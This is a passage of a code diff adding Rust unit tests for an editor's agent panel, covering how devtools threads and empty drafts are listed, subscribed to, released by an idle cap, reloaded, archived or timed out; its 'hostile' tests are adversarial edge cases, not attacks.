+        store.update(cx, |store, cx| store.save(metadata, cx));
+    });
+    cx.run_until_parked();
+    cx.update(|cx| {
+        crate::thread_organization::ThreadOrganizationStore::global(cx).update(cx, |store, cx| {
+            store
+                .set_devtools_root(thread_id, PathBuf::from(root), cx)
+                .expect("a saved thread can carry the mark");
+        })
+    });
+    cx.run_until_parked();
+    thread_id.to_key_string()
+}
+
+/// Whether the agent panel of `win` holds a view for `key`: the active one, a retained one or the
+/// draft slot.
+fn held(win: &Win, key: &str) -> bool {
+    win.panel.read_with(&win.cx, |panel, cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == key)
+            .is_some_and(|id| panel.conversation_view_for(id, cx).is_some())
+    })
+}
+
+/// Whether `key`'s metadata is still a draft: no session, the first message never went out.
+fn is_draft(key: &str, cx: &mut TestAppContext) -> bool {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry(id)
+            .is_some_and(|entry| entry.is_draft())
+    })
+}
+
+/// Sets `agent.max_idle_retained_threads` the way the operator's settings do; the agent panel's
+/// settings observer runs `cleanup_retained_threads` on every change.
+fn set_idle_cap(cap: Option<usize>, cx: &mut TestAppContext) {
+    let json = match cap {
+        Some(cap) => format!(r#"{{ "agent": {{ "max_idle_retained_threads": {cap} }} }}"#),
+        None => "{}".to_string(),
+    };
+    cx.update(|cx| {
+        SettingsStore::update_global(cx, |store, cx| {
+            store
+                .set_user_settings(&json, cx)
+                .expect("user settings should load");
+        });
+    });
+    cx.run_until_parked();
+}
+
+/// Lowers the idle cap to `cap` (the agent panel releases its oldest idle threads beyond it), then
+/// restores the default so a thread loaded afterwards is not released again mid-test.
+fn release_idle_beyond(cap: usize, cx: &mut TestAppContext) {
+    set_idle_cap(Some(cap), cx);
+    set_idle_cap(None, cx);
+}
+
+/// Closes `win` the way closing the project's window does, and lets go of every handle the test
+/// held on it, so nothing outside the app keeps its agent panel (or the thread's view) alive.
+fn close(win: Win, cx: &mut TestAppContext) {
+    let mut win = win;
+    win.cx.update(|window, _| window.remove_window());
+    win.cx.run_until_parked();
+    drop(win);
+    cx.run_until_parked();
+}
+
+/// A window on `root` whose agent panel is not there (yet): what a reopened project looks like
+/// before its agent panel is restored.
+async fn window_without_agent_panel(
+    fs: &Arc<FakeFs>,
+    root: &str,
+    cx: &mut TestAppContext,
+) -> WindowHandle<MultiWorkspace> {
+    let project = Project::test(fs.clone(), [Path::new(root)], cx).await;
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let workspace = window
+        .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+        .expect("the window's workspace");
+    workspace.update(cx, |workspace, _| workspace.set_random_database_id());
+    cx.run_until_parked();
+    window
+}
+
+// ---- the wire: a panel session's `list_threads` and `subscribe` --------------------------------
+
+fn dev_hello(root: &str) -> Value {
+    json!({
+        "v": 2, "kind": "hello", "id": "h",
+        "client": {
+            "kind": "dev_server", "root": root,
+            "app_url": "http://localhost:5173", "panel_url": "http://localhost:5174"
+        }
+    })
+}
+
+fn panel_hello(root: &str) -> Value {
+    json!({ "v": 2, "kind": "hello", "id": "h", "client": { "kind": "panel", "root": root } })
+}
+
+/// An announced dev server and a panel session for `root`; returns (announce, panel).
+fn connect_panel(root: &str, n: u64, win: &Win, cx: &mut TestAppContext) -> (Probe, Probe) {
+    let announce = open_session(n);
+    announce.handle(dev_hello(root), &win.app_state(), cx);
+    announce.drain(cx);
+    let panel = open_session(n + 1);
+    panel.handle(panel_hello(root), &win.app_state(), cx);
+    panel.drain(cx);
+    (announce, panel)
+}
+
+fn reply(messages: &[Value], id: &str) -> Value {
+    messages
+        .iter()
+        .find(|message| message["id"] == id)
+        .cloned()
+        .unwrap_or_else(|| panic!("no reply to {id}: {messages:?}"))
+}
+
+/// The ids the panel's `list_threads` answers, in order.
+fn listed_on_the_wire(panel: &Probe, win: &Win, cx: &mut TestAppContext) -> Vec<String> {
+    panel.handle(
+        request("list_threads", "l", json!({})),
+        &win.app_state(),
+        cx,
+    );
+    let threads = reply(&panel.drain(cx), "l");
+    assert_eq!(threads["kind"], "threads", "{threads}");
+    threads["items"]
+        .as_array()
+        .expect("items")
+        .iter()
+        .filter_map(|item| item["thread_id"].as_str().map(str::to_owned))
+        .collect()
+}
+
+/// What the panel's `subscribe` to `thread_id` answers, settled past [`CONNECT_TIMEOUT`].
+fn subscribe_on_the_wire(
+    panel: &Probe,
+    thread_id: &str,
+    rid: &str,
+    win: &Win,
+    cx: &mut TestAppContext,
+) -> Value {
+    panel.handle(
+        request(
+            "subscribe",
+            rid,
+            json!({ "target": { "thread_id": thread_id } }),
+        ),
+        &win.app_state(),
+        cx,
+    );
+    cx.executor()
+        .advance_clock(CONNECT_TIMEOUT + Duration::from_secs(1));
+    reply(&panel.drain(cx), rid)
+}
+
+// ---- hostile: wrongly listed — the gone draft, three window states, never offered -------------
+
+#[gpui::test]
+async fn hostile_a_draft_gone_with_its_window_is_not_listed_while_its_project_stays_closed(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let earlier = persisted_from_an_earlier_run(&app, "/p/app", cx);
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    let gone = seam::create("/p/app", cx).await.expect("gone");
+    close(app, cx);
+
+    // Today: `[gone, used, earlier]` — the gone draft is still in the run's `created` map.
+    let listed = seam::list("/p/app", cx);
+    assert!(
+        !listed.contains(&gone.thread_id),
+        "R5.4 (v5): an empty draft gone with its window is not listed while its project stays \
+         closed; listed {listed:?}, gone {}",
+        gone.thread_id
+    );
+    assert_eq!(
+        listed,
+        vec![used.thread_id.clone(), earlier.clone()],
+        "R5.4: its persisted siblings stay listed — this run's first, then the earlier run's"
+    );
+    assert_every_listed_thread_answers("/p/app", cx).await;
+}
+
+#[gpui::test]
+async fn hostile_a_draft_gone_with_its_window_is_not_listed_when_the_project_reopens_before_its_agent_panel(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    let gone = seam::create("/p/app", cx).await.expect("gone");
+    close(app, cx);
+    let _reopened = window_without_agent_panel(&fs, "/p/app", cx).await;
+
+    let listed = seam::list("/p/app", cx);
+    assert!(
+        !listed.contains(&gone.thread_id),
+        "R5.4 (v5): the gone draft stays unlisted once a window holds its project again, before \
+         that window's agent panel exists; listed {listed:?}, gone {}",
+        gone.thread_id
+    );
+    assert_eq!(listed, vec![used.thread_id.clone()], "R5.4");
+    assert_every_listed_thread_answers("/p/app", cx).await;
+}
+
+#[gpui::test]
+async fn hostile_a_draft_gone_with_its_window_is_not_listed_on_the_wire_after_the_project_reopens(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let earlier = persisted_from_an_earlier_run(&app, "/p/app", cx);
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    let gone = seam::create("/p/app", cx).await.expect("gone");
+    close(app, cx);
+    let reopened = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let fresh = seam::create("/p/app", cx)
+        .await
+        .expect("fresh, in the reopened window");
+    let (_announce, panel) = connect_panel("/p/app", 1, &reopened, cx);
+
+    // The 19.1 GUI finding, on the wire: after R5.8's notice the list offered the gone draft.
+    let listed = listed_on_the_wire(&panel, &reopened, cx);
+    assert!(
+        !listed.contains(&gone.thread_id),
+        "R5.4 (v5): `list_threads` leaves out the empty draft gone with its window after the \
+         project reopens; listed {listed:?}, gone {}",
+        gone.thread_id
+    );
+    assert_eq!(
+        listed,
+        vec![fresh.thread_id, used.thread_id.clone(), earlier.clone()],
+        "R5.4: the live draft and both persisted threads stay listed, newest first"
+    );
+    for (n, thread_id) in listed.iter().enumerate() {
+        let answer = subscribe_on_the_wire(&panel, thread_id, &format!("s{n}"), &reopened, cx);
+        assert_eq!(
+            answer["kind"], "snapshot",
+            "every listed id answers its thread on subscribe: {thread_id} answered {answer}"
+        );
+        assert_eq!(answer["thread"]["thread_id"], json!(thread_id));
+    }
+    // The other side of the same agreement: the one left out is the one R5.9 refuses.
+    let refused = subscribe_on_the_wire(&panel, &gone.thread_id, "g", &reopened, cx);
+    assert_eq!(refused["error"], "not_found", "R5.9: {refused}");
+}
+
+#[gpui::test]
+async fn hostile_a_draft_released_while_its_panel_was_open_is_not_listed_once_that_window_closes(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let draft = seam::create("/p/app", cx).await.expect("created");
+    release_idle_beyond(0, cx);
+    assert!(
+        !held(&app, &draft.thread_id),
+        "precondition: the idle cap released the draft"
+    );
+    assert!(
+        is_draft(&draft.thread_id, cx),
+        "precondition: never sent a message"
+    );
+    close(app, cx);
+
+    // Released once is not loadable for ever: its releasing panel went with the window.
+    let listed = seam::list("/p/app", cx);
+    assert!(
+        listed.is_empty(),
+        "R5.4 (v5): a draft released by a panel whose window then closed is gone; listed \
+         {listed:?}"
+    );
+    let _reopened = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let listed = seam::list("/p/app", cx);
+    assert!(
+        !listed.contains(&draft.thread_id),
+        "R5.4 (v5): nor once the project reopens with a new panel; listed {listed:?}"
+    );
+    assert_every_listed_thread_answers("/p/app", cx).await;
+}
+
+// ---- hostile: wrongly hidden — empty drafts that still answer their thread ---------------------
+
+#[gpui::test]
+async fn hostile_a_live_empty_draft_beside_a_gone_one_is_still_listed(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let _web = window(&fs, "/p/web", Some(loadable()), cx).await;
+    let gone = seam::create("/p/app", cx).await.expect("created in /p/app");
+    let live = seam::create("/p/web", cx).await.expect("created in /p/web");
+    let sibling = seam::create("/p/web", cx).await.expect("its sibling");
+    close(app, cx);
+
+    // All three are empty, unpromoted devtools drafts: only a live view tells them apart.
+    assert!(is_draft(&live.thread_id, cx) && is_draft(&gone.thread_id, cx));
+    assert_eq!(
+        seam::list("/p/web", cx),
+        vec![sibling.thread_id.clone(), live.thread_id.clone()],
+        "R5.4: live empty drafts in an open window are listed, newest first"
+    );
+    let listed = seam::list("/p/app", cx);
+    assert!(
+        listed.is_empty(),
+        "R5.4 (v5): the draft gone with /p/app's window is not; listed {listed:?}"
+    );
+    assert_every_listed_thread_answers("/p/web", cx).await;
+}
+
+#[gpui::test]
+async fn hostile_an_idle_released_draft_whose_panel_is_still_open_is_listed(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let web = window(&fs, "/p/web", Some(loadable()), cx).await;
+    let gone = seam::create("/p/app", cx).await.expect("created in /p/app");
+    let released = seam::create("/p/web", cx).await.expect("created in /p/web");
+    release_idle_beyond(0, cx);
+    close(app, cx);
+
+    // Precondition: to "no live view, no session" both drafts are the same thing.
+    assert!(
+        !held(&web, &released.thread_id),
+        "precondition: the idle cap released the /p/web draft while its window stays open"
+    );
+    assert!(is_draft(&released.thread_id, cx) && is_draft(&gone.thread_id, cx));
+
+    assert_eq!(
+        seam::list("/p/web", cx),
+        vec![released.thread_id.clone()],
+        "R5.4 + R5.11: a draft released by a panel that is still open is listed (it reloads)"
+    );
+    let listed = seam::list("/p/app", cx);
+    assert!(
+        !listed.contains(&gone.thread_id),
+        "R5.4 (v5): the draft gone with its window is not; listed {listed:?}"
+    );
+    let result = seam::ensure_loaded(&released.thread_id, cx).await;
+    let (code, text) = outcome(&result);
+    assert_eq!(
+        code, "ok",
+        "R5.11: the listed released draft answers ({text})"
+    );
+    assert_every_listed_thread_answers("/p/web", cx).await;
+}
+
+#[gpui::test]
+async fn hostile_a_released_draft_is_still_listed_while_it_is_being_reloaded(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let draft = seam::create("/p/app", cx).await.expect("created");
+    release_idle_beyond(0, cx);
+    assert!(
+        !held(&app, &draft.thread_id),
+        "precondition: the idle cap released the draft"
+    );
+
+    // Picking it starts the reload: from here it has a view again and is no longer remembered as
+    // released. "Gone" must read the view, or a thread that is only loading drops out of the list.
+    let loading = cx.update(|cx| crate::devtools_threads::ensure_loaded(&draft.thread_id, cx));
+    let listed_while_loading = seam::list("/p/app", cx);
+    assert_eq!(
+        listed_while_loading,
+        vec![draft.thread_id.clone()],
+        "R5.4: a released draft being reloaded stays listed"
+    );
+    cx.run_until_parked();
+    cx.executor()
+        .advance_clock(CONNECT_TIMEOUT + Duration::from_secs(1));
+    cx.run_until_parked();
+    let result = loading.await;
+    let (code, text) = outcome(&result);
+    assert_eq!(code, "ok", "R5.11: reloaded ({text})");
+    assert_eq!(seam::list("/p/app", cx), vec![draft.thread_id.clone()]);
+    assert_every_listed_thread_answers("/p/app", cx).await;
+}
+
+// ---- benign -------------------------------------------------------------------------------------
+
+#[gpui::test]
+async fn every_thread_the_panel_lists_answers_its_thread_on_subscribe(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable()), cx).await;
+    let earlier = persisted_from_an_earlier_run(&app, "/p/app", cx);
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    let draft = seam::create("/p/app", cx).await.expect("draft");
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+
+    let listed = listed_on_the_wire(&panel, &app, cx);
+    assert_eq!(
+        listed,
+        vec![draft.thread_id, used.thread_id.clone(), earlier.clone()],
+        "R5.4"
+    );
+    for (n, thread_id) in listed.iter().enumerate() {
+        let answer = subscribe_on_the_wire(&panel, thread_id, &format!("s{n}"), &app, cx);
+        assert_eq!(answer["kind"], "snapshot", "{thread_id}: {answer}");
+        assert_eq!(answer["thread"]["thread_id"], json!(thread_id));
+    }
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_threads_paths.rs b/crates/agent_ui/src/browser_channel_tests/devtools_threads_paths.rs
new file mode 100644
index 0000000..42fadd0
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_threads_paths.rs
@@ -0,0 +1,504 @@
+// Story 055, task 10.2 (fix cycles 1 and 2) — the devtools-thread paths the pre-authored
+// `devtools_threads.rs` does not reach (design.md §B3, GOTCHA G7, Assumption A2; R5.1, R5.6):
+// a connection that never completes (the 30 s timeout), a view released before it connects, the
+// agent panel's idle cap while a devtools thread connects — created this run, or reloaded in a
+// run that never created one — and once that wait is over, a reload after that cap released a
+// connected one, an archived thread, and a devtools thread parked in the panel's draft slot.
+// Wired inside `src/browser_channel.rs` beside `devtools_threads`, so the Validation filter
+// `cargo test -p agent_ui devtools_threads` runs both files.
+
+use std::any::Any;
+use std::cell::RefCell;
+use std::path::{Path, PathBuf};
+use std::rc::Rc;
+use std::time::Duration;
+
+use acp_thread::{AgentConnection, StubAgentConnection};
+use agent_servers::{AgentServer, AgentServerDelegate};
+use anyhow::Result;
+use gpui::{App, Entity, EntityId, Task, TestAppContext, UpdateGlobal as _};
+use project::{AgentId, Project};
+use settings::SettingsStore;
+
+use super::test_support::*;
+use crate::Agent;
+use crate::browser_wire::ThreadInfo;
+use crate::devtools_threads::{CONNECT_TIMEOUT, DevtoolsThreadError, DevtoolsThreads};
+use crate::thread_metadata_store::{ThreadId, ThreadMetadataStore};
+use crate::thread_organization::ThreadOrganizationStore;
+
+/// An agent server whose connection never completes: a thread it serves stays connecting.
+struct PendingServer;
+
+impl AgentServer for PendingServer {
+    fn logo(&self) -> ui::IconName {
+        ui::IconName::ZedAgent
+    }
+
+    fn agent_id(&self) -> AgentId {
+        "Pending".into()
+    }
+
+    fn connect(
+        &self,
+        _delegate: AgentServerDelegate,
+        _project: Entity<Project>,
+        cx: &mut App,
+    ) -> Task<Result<Rc<dyn AgentConnection>>> {
+        cx.spawn(async |_| std::future::pending().await)
+    }
+
+    fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
+        self
+    }
+}
+
+/// Every thread the window's panel creates from now on with its selected agent stays connecting.
+fn stall_connections(app: &Win, cx: &mut TestAppContext) {
+    let agent = app
+        .panel
+        .read_with(&app.cx, |panel, cx| panel.selected_agent(cx));
+    stall_connections_of(app, agent, cx);
+}
+
+/// Every thread the window's panel opens from now on with `agent` stays connecting.
+fn stall_connections_of(app: &Win, agent: Agent, cx: &mut TestAppContext) {
+    let store = app
+        .panel
+        .read_with(&app.cx, |panel, _| panel.connection_store().clone());
+    cx.update(|cx| {
+        store.update(cx, |store, cx| {
+            store.restart_connection(agent, Rc::new(PendingServer), cx);
+        });
+    });
+    cx.run_until_parked();
+}
+
+type Outcome<T> = Rc<RefCell<Option<Result<T>>>>;
+
+/// Records what `task` answers, so a test can tell "not answered yet" from an answer.
+fn watch<T: 'static>(task: Task<Result<T>>, cx: &mut TestAppContext) -> Outcome<T> {
+    let outcome: Outcome<T> = Rc::new(RefCell::new(None));
+    cx.update(|cx| {
+        cx.spawn({
+            let outcome = outcome.clone();
+            async move |_| {
+                let answer = task.await;
+                *outcome.borrow_mut() = Some(answer);
+            }
+        })
+        .detach();
+    });
+    outcome
+}
+
+fn start_create(root: &str, cx: &mut TestAppContext) -> Outcome<ThreadInfo> {
+    let task = cx.update(|cx| crate::devtools_threads::create(Path::new(root), cx));
+    let created = watch(task, cx);
+    cx.run_until_parked();
+    created
+}
+
+async fn create(root: &str, cx: &mut TestAppContext) -> Result<ThreadInfo> {
+    let task = cx.update(|cx| crate::devtools_threads::create(Path::new(root), cx));
+    cx.run_until_parked();
+    task.await
+}
+
+async fn ensure_loaded(thread_id: &str, cx: &mut TestAppContext) -> Result<()> {
+    let task = cx.update(|cx| crate::devtools_threads::ensure_loaded(thread_id, cx));
+    cx.run_until_parked();
+    task.await
+}
+
+/// The devtools threads the window's panel retains.
+fn retained_devtools_threads(app: &Win, cx: &mut TestAppContext) -> Vec<ThreadId> {
+    let panel = app.panel.clone();
+    cx.update(|cx| {
+        panel
+            .read(cx)
+            .retained_threads()
+            .keys()
+            .copied()
+            .filter(|id| {
+                DevtoolsThreads::try_global(cx)
+                    .is_some_and(|threads| threads.read(cx).is_devtools(*id).is_some())
+            })
+            .collect()
+    })
+}
+
+fn is_retained(app: &Win, thread_id: ThreadId) -> bool {
+    app.panel
+        .read_with(&app.cx, |panel, _| panel.is_retained_thread(&thread_id))
+}
+
+/// The view the window's panel holds for `thread_id` — active, retained or the parked draft.
+fn view_of(app: &Win, thread_id: ThreadId) -> Option<EntityId> {
+    app.panel.read_with(&app.cx, |panel, cx| {
+        panel
+            .conversation_view_for(thread_id, cx)
+            .map(|view| view.entity_id())
+    })
+}
+
+fn thread_id_of(key: &str, cx: &mut TestAppContext) -> ThreadId {
+    cx.update(|cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == key)
+            .unwrap_or_else(|| panic!("{key} is a known thread"))
+    })
+}
+
+/// The save the conversation makes when the first message goes out: the draft gains a session.
+fn promote(key: &str, cx: &mut TestAppContext) {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        let store = ThreadMetadataStore::global(cx);
+        let mut metadata = store
+            .read(cx)
+            .entry(id)
+            .cloned()
+            .expect("metadata of a created thread");
+        metadata.session_id = Some(agent_client_protocol::v2::schema::SessionId::new(format!(
+            "session-{key}"
+        )));
+        store.update(cx, |store, cx| store.save(metadata, cx));
+    });
+    cx.run_until_parked();
+}
+
+fn set_max_idle_retained_threads(count: usize, cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        SettingsStore::update_global(cx, |store, cx| {
+            store
+                .set_user_settings(
+                    &format!(r#"{{ "agent": {{ "max_idle_retained_threads": {count} }} }}"#),
+                    cx,
+                )
+                .expect("valid agent settings");
+        });
+    });
+    cx.run_until_parked();
+}
+
+/// The operator opens another thread in the panel: the one it showed becomes a retained thread,
+/// and the panel releases idle retained threads over its cap.
+fn open_another_editor_thread(app: &mut Win) {
+    crate::test_support::open_thread_with_custom_connection(
+        &app.panel,
+        StubAgentConnection::new()
+            .with_supports_load_session(true)
+            .with_agent_id("Other".into()),
+        &mut app.cx,
+    );
+}
+
+/// A connection whose sessions can be loaded again, under the agent id the window's panel keys
+/// it by (`StubAgentServer`'s "Test"): the id stored in a thread's metadata is the connection's,
+/// and a reload resolves its agent from it.
+fn loadable_connection() -> StubAgentConnection {
+    StubAgentConnection::new()
+        .with_supports_load_session(true)
+        .with_agent_id("Test".into())
+}
+
+fn start_failure_reason(error: &anyhow::Error) -> Option<&'static str> {
+    match error.downcast_ref::<DevtoolsThreadError>() {
+        Some(DevtoolsThreadError::AgentStartFailed { reason, .. }) => Some(reason),
+        _ => None,
+    }
+}
+
+#[gpui::test]
+async fn create_answers_agent_start_failed_at_the_connect_timeout_and_not_before(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    stall_connections(&app, cx);
+    let created = start_create("/p/app", cx);
+    assert_eq!(
+        retained_devtools_threads(&app, cx).len(),
+        1,
+        "created, connecting"
+    );
+
+    cx.executor()
+        .advance_clock(CONNECT_TIMEOUT - Duration::from_millis(1));
+    cx.run_until_parked();
+    assert!(
+        created.borrow().is_none(),
+        "G7: no answer while the connection may still come, up to the timeout"
+    );
+
+    cx.executor().advance_clock(Duration::from_millis(1));
+    cx.run_until_parked();
+    let error = created
+        .borrow_mut()
+        .take()
+        .expect("answered at the timeout")
+        .expect_err("the agent never connected");
+    assert_eq!(start_failure_reason(&error), Some("timeout"), "{error:#}");
+    assert!(
+        format!("{error:#}").contains("/p/app"),
+        "Q4: names the root: {error:#}"
+    );
+    assert_eq!(
+        retained_devtools_threads(&app, cx).len(),
+        1,
+        "§B3: the thread stays, marked, after the timeout"
+    );
+}
+
+#[gpui::test]
+async fn a_view_released_before_it_connects_answers_agent_start_failed_released(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    stall_connections(&app, cx);
+    let created = start_create("/p/app", cx);
+    let [devtools] = retained_devtools_threads(&app, cx)[..] else {
+        panic!("one devtools thread, connecting");
+    };
+
+    // The idle cap no longer releases a connecting devtools thread; the operator still can, by
+    // dismissing it from the sidebar.
+    app.panel.update_in(&mut app.cx, |panel, window, cx| {
+        panel.remove_thread(devtools, window, cx)
+    });
+    cx.run_until_parked();
+
+    let error = created
+        .borrow_mut()
+        .take()
+        .expect("answered as soon as the view was released, not at the timeout")
+        .expect_err("released before connecting");
+    assert_eq!(start_failure_reason(&error), Some("released"), "{error:#}");
+}
+
+#[gpui::test]
+async fn the_idle_cap_never_releases_a_devtools_thread_still_connecting(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx);
+    set_max_idle_retained_threads(0, cx);
+    stall_connections(&app, cx);
+    let created = start_create("/p/app", cx);
+    let [devtools] = retained_devtools_threads(&app, cx)[..] else {
+        panic!("one devtools thread, connecting");
+    };
+
+    open_another_editor_thread(&mut app);
+
+    assert!(
+        !is_retained(&app, editor),
+        "the cleanup ran: the idle editor thread over the cap was released"
+    );
+    assert!(
+        is_retained(&app, devtools),
+        "the connecting devtools thread survived it"
+    );
+    assert!(
+        created.borrow().is_none(),
+        "and create is still waiting on its connection, not answered `released`"
+    );
+}
+
+#[gpui::test]
+async fn ensure_loaded_reloads_a_released_devtools_thread_without_moving_the_editor(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
+    let used = create("/p/app", cx).await.expect("created");
+    promote(&used.thread_id, cx);
+    let id = thread_id_of(&used.thread_id, cx);
+
+    // A connected, idle devtools thread follows the editor's idle cap like any thread (R8.3).
+    set_max_idle_retained_threads(0, cx);
+    open_another_editor_thread(&mut app);
+    assert_eq!(view_of(&app, id), None, "released: no window holds it");
+    set_max_idle_retained_threads(5, cx);
+
+    let editor_thread = app.thread().entity_id();
+    ensure_loaded(&used.thread_id, cx)
+        .await
+        .expect("R5.6: a persisted devtools thread is loaded again");
+    assert!(is_retained(&app, id), "loaded among the retained threads");
+    assert_eq!(
+        app.thread().entity_id(),
+        editor_thread,
+        "A2: the editor still shows its own thread"
+    );
+}
+
+#[gpui::test]
+async fn ensure_loaded_answers_not_found_for_an_archived_devtools_thread(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let _app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let used = create("/p/app", cx).await.expect("created");
+    promote(&used.thread_id, cx);
+    let id = thread_id_of(&used.thread_id, cx);
+    cx.update(|cx| {
+        ThreadMetadataStore::global(cx).update(cx, |store, cx| store.archive(id, None, cx))
+    });
+    cx.run_until_parked();
+
+    let error = ensure_loaded(&used.thread_id, cx)
+        .await
+        .expect_err("an archived devtools thread is not loaded");
+    assert!(
+        matches!(
+            error.downcast_ref::<DevtoolsThreadError>(),
+            Some(DevtoolsThreadError::NotFound { .. })
+        ),
+        "NotFound, so the panel drops its binding (R5.8): {error:#}"
+    );
+    assert!(
+        !cx.update(|cx| crate::devtools_threads::is_devtools_of(
+            &used.thread_id,
+            Path::new("/p/app"),
+            cx
+        )),
+        "consistent with list, which hides it"
+    );
+}
+
+#[gpui::test]
+async fn ensure_loaded_finds_a_devtools_thread_parked_in_the_draft_slot(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    // A thread with a message: activating it never parks it as the empty draft.
+    crate::test_support::send_message(&app.panel, &mut app.cx);
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx);
+    let created = create("/p/app", cx).await.expect("created");
+    let [devtools] = retained_devtools_threads(&app, cx)[..] else {
+        panic!("one devtools thread");
+    };
+    assert_eq!(devtools.to_key_string(), created.thread_id);
+
+    // The operator opens the empty devtools thread from the sidebar, then goes back: the panel
+    // parks it in its draft slot, neither active nor retained.
+    app.panel.update_in(&mut app.cx, |panel, window, cx| {
+        panel.activate_retained_thread(devtools, false, window, cx)
+    });
+    app.panel.update_in(&mut app.cx, |panel, window, cx| {
+        panel.activate_retained_thread(editor, false, window, cx)
+    });
+    cx.run_until_parked();
+    assert_eq!(
+        crate::test_support::active_thread_id(&app.panel, &app.cx),
+        editor
+    );
+    assert!(!is_retained(&app, devtools));
+    let parked = view_of(&app, devtools).expect("parked in the draft slot");
+
+    ensure_loaded(&created.thread_id, cx)
+        .await
+        .expect("the parked view is the loaded thread");
+    assert_eq!(
+        view_of(&app, devtools),
+        Some(parked),
+        "the same view: no second one was built"
+    );
+    assert!(
+        !is_retained(&app, devtools),
+        "and no copy joined the retained threads"
+    );
+}
+
+#[gpui::test]
+async fn a_devtools_thread_reloading_in_a_run_that_created_none_survives_the_idle_cap(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
+    // A devtools thread from an earlier run: a thread with a session and a persisted mark, and no
+    // `create` in this run to build the registry.
+    let devtools = crate::test_support::active_thread_id(&app.panel, &app.cx);
+    promote(&devtools.to_key_string(), cx);
+    cx.update(|cx| {
+        if ThreadOrganizationStore::try_global(cx).is_none() {
+            crate::thread_organization::init(cx);
+        }
+        ThreadOrganizationStore::global(cx).update(cx, |store, cx| {
+            store
+                .set_devtools_root(devtools, PathBuf::from("/p/app"), cx)
+                .expect("a thread with a session takes the mark")
+        })
+    });
+    cx.run_until_parked();
+    assert!(
+        cx.update(|cx| DevtoolsThreads::try_global(cx).is_none()),
+        "nothing built the registry in this run"
+    );
+    set_max_idle_retained_threads(0, cx);
+    open_another_editor_thread(&mut app);
+    assert_eq!(
+        view_of(&app, devtools),
+        None,
+        "not loaded, as after a restart"
+    );
+
+    stall_connections_of(&app, Agent::Custom { id: "Test".into() }, cx);
+    let task =
+        cx.update(|cx| crate::devtools_threads::ensure_loaded(&devtools.to_key_string(), cx));
+    let loaded = watch(task, cx);
+    cx.run_until_parked();
+    let other_editor = crate::test_support::active_thread_id(&app.panel, &app.cx);
+    open_another_editor_thread(&mut app);
+
+    assert!(
+        !is_retained(&app, other_editor),
+        "the cleanup ran: the idle editor thread over the cap was released"
+    );
+    assert!(
+        is_retained(&app, devtools),
+        "R5.6: the devtools thread reloading for a panel survived it"
+    );
+    assert!(
+        loaded.borrow().is_none(),
+        "and ensure_loaded is still waiting on its connection, not answered `released`"
+    );
+}
+
+#[gpui::test]
+async fn past_the_connect_timeout_a_devtools_thread_still_connecting_follows_the_idle_cap(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
